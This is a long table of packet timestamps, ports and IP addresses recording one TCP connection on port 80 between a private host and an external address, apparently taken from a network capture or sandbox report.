Dec 20, 2024 07:12:28.605267048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.605317116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.606358051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.606476068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.606540918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.606607914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.607542038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.607619047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.607677937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.607738972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.608731031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.608795881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.608859062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.608947992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.609915018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.610028982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.610038042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.610080957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.611078978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.611203909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.611210108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.611260891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.612307072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.612366915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.612387896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.612443924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.613519907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.613586903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.613607883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.613693953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.614654064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.614708900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.614772081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.614823103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.615870953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.615942001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.615974903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.616059065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.617023945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.617124081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.617158890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.617217064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.618202925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.618282080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.618338108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.618388891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.619405985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.619460106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.619523048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.619600058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.620573997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.620666027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.620704889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.620825052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.621742964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.621867895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.621922016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.622946024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.623001099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.623069048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.623121023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.624178886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.624242067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.624244928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.624300003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.625307083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.625363111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.625490904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.625543118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.626480103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.626533031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.626574993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.626632929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.627702951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.627816916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.627873898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.628897905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.628968000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.629005909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.629534960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.630037069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.630109072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.630157948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.630214930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.631227970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.631285906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.631360054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.631419897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.632450104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.632512093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.632534027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.632590055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.633595943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.633718014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.633780003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.634826899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.634916067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.634978056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.635976076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.636034012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.636101007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.636324883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.637160063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.637218952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.637279034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.637377024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.638345003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.638401031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.638463020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.638914108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.639559031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.639619112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.639672041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.639791012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.640724897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.640789032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.640836000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.641256094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.641913891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.641966105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.641974926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.642014027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.643089056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.643141031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.643227100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.643227100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.644279957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.644368887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.644407034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.644531965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.645488977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.645546913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.645608902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.645662069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.646615982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.646668911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.646745920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.646807909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.647803068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.647861004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.778001070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.778067112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.778090000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.778177977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.778556108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.778606892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.778620005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.778655052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.779732943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.779831886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.779884100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.780901909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.781085968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.781146049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.782099009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.782156944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.782252073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.782447100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.783271074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.783329010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.783392906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.783447027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.784531116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.784584999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.784606934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.784632921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.785660028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.785725117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.785758018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.785815954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.786897898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.786978960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.786981106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.787045002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.788116932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.788183928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.788218021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.788237095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.789206028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.789274931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.789314032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.789397001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.790400982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.790468931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.790532112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.790580988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.791568995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.791687012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.791688919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.791778088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.792751074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.792803049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.792814970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.792851925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.793942928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.794001102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.794043064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.794176102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.795121908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.795173883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.795186043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.795227051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.796298027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.796360970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.796415091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.796472073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.797488928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.797549963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.797609091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.797661066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.798738956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.798774958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.798793077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.798823118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.799871922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.799994946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.800057888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.800117970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.801111937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.801163912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.801170111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.801224947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.802238941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.802294016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.802356005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.802411079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.803419113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.803483963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.803509951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.803786039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.804579020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.804639101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.804713964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.804781914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.805804014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.805861950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.805948019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.805999041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.806997061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.807101011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.807157993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.808166981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.808259964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.808279991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.808321953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.809441090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.809474945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.809511900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.809544086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.810597897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.810650110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.810652971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.810712099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.811744928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.811804056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.811882019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.811939955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.812892914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.812961102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.813021898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.813096046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.814116001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.814182997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.814217091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.814271927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.815279007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.815340042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.815742970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.815799952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.816529989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.816633940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.816777945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.817632914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.817694902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.817766905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.817876101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.818828106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.818881035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.818893909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.818928003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.820074081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.820107937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.820133924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.820152998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.821203947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.821259022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.821320057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.821389914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.822372913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.822423935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.822458982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.822469950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.823581934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.823637009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.823775053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.823863983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.824754953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.824826002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.824865103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.824966908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.825922012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.825984955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.826054096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.826127052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.827125072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.827198029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.827275038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.827342033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.828291893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.828349113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.828408003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.828533888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.829511881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.829628944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.829647064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.829690933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.830698013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.830773115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.830898046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.830962896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.831887960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.831979036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.832029104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.833031893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.833091974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.833326101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.833381891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.834204912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.834264994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.834343910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.834399939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.835411072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.835486889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.835551977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.835601091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.836576939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.836699963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.836752892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.837795973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.837829113 CET	80	49801	31.41.244.11	192.168.2.4
